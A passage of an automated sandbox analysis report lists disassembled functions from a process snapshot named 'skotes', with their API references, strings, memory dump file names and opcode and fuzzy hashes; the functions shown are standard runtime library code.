ppVirtualProcessorRoots, xrefs: 007C4F1C
count, xrefs: 007C4EBA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 4a4f43c90e001ebf8016c31eec0c79744ce4025fde6ebd6446ec0134823c000a
Instruction ID: 8ced49edae202eb075373483573b378cb6954598f503d58e76eded9e35a95dec
Opcode Fuzzy Hash: 4a4f43c90e001ebf8016c31eec0c79744ce4025fde6ebd6446ec0134823c000a
Instruction Fuzzy Hash: 4E218035600619EFCB24EFA8C8A5FAD77B5FF48310F10406DE5069B692DB79AE01CB91

Function 007CB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007CBA0E

Strings

RoInitialize, xrefs: 007CB998
combase.dll, xrefs: 007CB983, 007CB988, 007CB99D, 007CB9C8
RoUninitialize, xrefs: 007CB9C1

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: a8f99197b386df07a4cbbe6593cdcd9746f882899c43f15857b0e623eb3e1a25
Instruction ID: 3e5ce15956568fd485d2e081140741f4d5fbce0baef43b3fc0c217ed3dad03b3
Opcode Fuzzy Hash: a8f99197b386df07a4cbbe6593cdcd9746f882899c43f15857b0e623eb3e1a25
Instruction Fuzzy Hash: E7019661541219EDEB10BBB19C16F7F379C9F01758F20542EB551E6181EF3DE4028AB5

Function 007C6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 007C6E73

Part of subcall function 007C4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C4E7F
Part of subcall function 007C4E6E: List.LIBCMT ref: 007C4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007C6EAA

Strings

eventObject, xrefs: 007C6E7D

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 42578f3e3b230a2094ba80e1466db35e5d32183f158c248cf6d025e413ce5b6e
Instruction ID: 78d72bf2e9bc631679a0513c39042ccfb64a922233caa25a9cbd2cff35fdc4ba
Opcode Fuzzy Hash: 42578f3e3b230a2094ba80e1466db35e5d32183f158c248cf6d025e413ce5b6e
Instruction Fuzzy Hash: 6111E575540309EBDB24FBA4CC86FEE73A86F00704F60452EF504B61D1EB78AA05C675

Function 007CA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 007CA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 007CA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CA139

Strings

pScheduler, xrefs: 007CA131

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 9cfcaae5a0e5f12cf5923ea372ee322433c85f99bfce7e7919e7902afcad91d7
Instruction ID: faad0e09c806b7075a1c7e15a6f5b40433315171f6b2db889a133c2331cfb9dc
Opcode Fuzzy Hash: 9cfcaae5a0e5f12cf5923ea372ee322433c85f99bfce7e7919e7902afcad91d7
Instruction Fuzzy Hash: 5EF0E97690060CF7C725FA54DC87E9EB3789E80729B24813EE51567281DB7CAF05C6D2

Function 007E67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007E6902
__alloca_probe_16.LIBCMT ref: 007E6998
__freea.LIBCMT ref: 007E6A03
__freea.LIBCMT ref: 007E6A0F

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
